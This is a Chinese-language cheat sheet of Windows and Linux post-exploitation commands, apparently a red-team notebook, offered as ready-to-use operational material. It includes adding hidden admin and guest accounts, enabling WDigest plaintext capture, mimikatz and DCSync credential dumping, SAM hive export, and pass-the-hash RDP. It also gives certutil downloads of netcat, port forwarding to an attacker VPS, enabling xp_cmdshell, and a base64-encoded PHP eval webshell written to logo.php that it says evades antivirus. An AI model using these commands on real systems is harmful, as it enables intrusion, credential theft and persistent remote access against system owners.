windows命令收集
信息收集:
查看系统版本和补丁信息:systeminfo
查看系统开放端口:netstat -ano
查看系统进程:tasklist /svc
列出详细进程:tasklist /V /FO CSV
查看ip地址和dns信息:ipconfig /all
查看当前用户:whoami /user
查看计算机用户列表:net user
查看计算机用户组列表:net localgroup
查看当前登陆用户:query user
查看当前用户保存的凭证:cmdkey /list
查看路由信息:route print
查看arp:arp -a
查看当前用户保存的票据凭证:klist
搜索D盘磁盘名字为logo.jpg的文件:cd /d D:\ && dir /b /s logo.jpg
搜素C盘文件夹下后缀conf内容有password:findstr /s /i /n /d:C:\ "password" *.conf
查看3389端口:for /f "tokens=2" %i in ('tasklist /FI "SERVICES eq TermService" /NH') do netstat -ano | findstr %i | findstr LISTENING
Win设置终端代理:set http_proxy=http://127.0.0.1:7890 & set https_proxy=http://127.0.0.1:7890
添加用户:
添加用户并设置密码:net user mstlab tools /add
将用户加入管理组:net localgroup administrators tools /add
将用户加入桌面组:net localgroup "Remote Desktop Users" tools /add
激活guest用户:net user guest /active:yes
更改guest用户的密码:net user guest 123456
将用户加入管理组:net localgoup administrators guest /add
注册表相关:
查看3389端口 :REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
开启远程桌面 :REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
注册表抓取明文:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
rdp连接默认的10个记录:reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
rdp连接默认的所有记录:reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
查找软件安装目录:reg query HKLM /f foxmail /t REG_SZ /s
工具用法命令:
mimikatz查看当前密码:mimikatz "log" "privilege:debug" "sekurlsa:logonpasswords" "exit"
mimikatz抓取domain密码:mimikatz "lsadump::dcsync /domain:test.com /all /csv" "exit"
reg导出注册表hash:reg save hklm\sam c:\programdata\sam.hive && reg save hklm\system c:\programdata\system.hive
mimikatz读取注册表导出的hash信息:mimikatz "log" "lsadump::sam /sam:sam.hive /system:system.hive" "exit"
impacket包的secretsdump:secretsdump.exe -sam sam.hive -system system.hive LOCAL
nmap扫描永恒之蓝漏洞:nmap -p445 --script smb-vuln-ms17-010 127.0.0.1
meterpreter把目标的3389端口转发到vps的6666端口:portfwd add -l 6666 -p 3389 -r 127.0.0.1
attrib创建隐藏文件:attrib +s +h +r *.exe
.net静默安装:dotNetFx40_Full_x86_x64.exe /q /norestart /ChainingPackage FullX64Bootstrapper
lcx端口转发:本地监听: lcx.exe -listen 110 34567目标执行:lcx.exe -slave vpsip 110 127.0.0.1 3389
扫描web.txt文件的网站标题:whatweb -i web.txt -p Title whatweb
Win终端设置代理:set http_proxy=socks5://127.0.0.1:1080 && set https_proxy=socks5://127.0.0.1:1080
xfreerdp hash连接rdp:xfreerdp /u:administrator /pth:ccef208c6485269c20db2cad21734fe7 /v:10.20.24.100 /cert-ignore //server 2012
runas运行其它账户权限的程序 :runas /user:hostname\username /sa "cmd.exe"
系统下载文件:
windows2003默认文件:Blob0_0.bin //可以正常执行
certutil下载文件:certutil -urlcache -split -f http://192.168.5.21:888/nc.txt c:\nc.txt
certutil删除记录:certutil -urlcache -split -f http://192.168.1.115/robots.txt delete
bitsadmin下载文件:bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\Pstools.zip
Mssql环境:
mssql开启xp_cmdshell:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
mssql输出文件:exec master..xp_cmdshell '>>c:\windows\temp\info.txt set /p="base64_encode" <nul'; //代替echo输出
查看c盘下web.config文件:findstr /c:"User Id=" /c:"Password=" /si web.config >> tmps.logs <nul';
常规工作组内网环境下的mssql实例:PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"
Wmic命令:
wmic远程连接机器:wmic /node:"192.168.1.20" /user:"domain\administrator" /password:"123456"
查看系统安装软件:wmic product get name,version
查看系统版本:wmic OS get Caption,CSDVersion,OSArchitecture,Version
根据Pid查找进程路径:wmic process get name,executablepath,processid|findstr pid
查看磁盘信息:Wmic logicaldisk
查看组,hostname,等信息:wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
Linux命令收集
Linux终端开启socks代理:
linux设置终端代理:export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890
linx终端搜索软件:find / -name pass.txt
linux查找后缀properties文件内容带password字样:find / -name *.properties | xargs grep password //xml,sh,python,等等
linux把tomcat目录文件和文件夹列表导出到oa.txt:find /home/tomcat/ -type f > oa.txt
编码字符base64然后echo输出logo.php在进行解码:echo -n "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4+" | base64 -d > logo.php //可绕过杀软拦截关键字